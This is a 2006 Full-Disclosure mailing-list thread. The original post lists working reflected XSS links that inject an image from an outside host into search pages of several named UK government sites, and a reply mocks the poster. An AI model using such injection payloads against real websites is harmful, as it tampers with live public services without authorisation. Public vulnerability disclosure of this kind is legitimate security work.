RE: XSS funtime

["Edward Pearson" <Ed () unityitservices co uk>]

No dude, XSS random sites is just lame. There is no competition, this
kinda shit belongs on http://www.elitehackers.info. Not a SecList.
 
Especially http://disabilitydatabase.mla.gov.uk
<http://disabilitydatabase.mla.gov.uk/index.asp?startrow=1&action=search
&Keywords=%3Cimg%20src=%22http://0xdeadface.co.uk/richard.jpg%22/%3E> ,
have you no shame?
 
Ed

________________________________

From: full-disclosure-bounces () lists grok org uk
[mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of codeslag
Sent: 03 August 2006 23:09
To: full-disclosure () lists grok org uk
Subject: [Full-disclosure] XSS funtime


http://disabilitydatabase.mla.gov.uk/index.asp?startrow=1&action=search&;
Keywords=%3Cimg%20src=%22http://0xdeadface.co.uk/richard.jpg%22/%3E 
http://www.audit-commission.gov.uk/search/search_result.asp?txtSearchKey
words=%3Cimg%20src=%22http://0xdeadface.co.uk/richard.jpg%22/%3E 
http://www.salford.gov.uk/search.htm?col=justhtml&qt=%3Cimg%20src=%22htt
p://0xdeadface.co.uk/richard.jpg%22/%3E3E 
http://www.ealing.gov.uk/search.jsp?query=%3Cimg+src%3D%22http%3A%2F%2F0
xdeadface.co.uk%2Frichard.jpg%22%2F%3E&goButton=Search&index=all 
http://www.successforall.gov.uk/index.cfm?pg=61&q=%3Cimg%20src=%22http:/
/0xdeadface.co.uk/richard.jpg%22/%3E 

Does this mean I win the XSS contest? After all i have h4><0r3d t3h
g1bs0n!!111111

hugs & kisses dyn0/codeslag


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/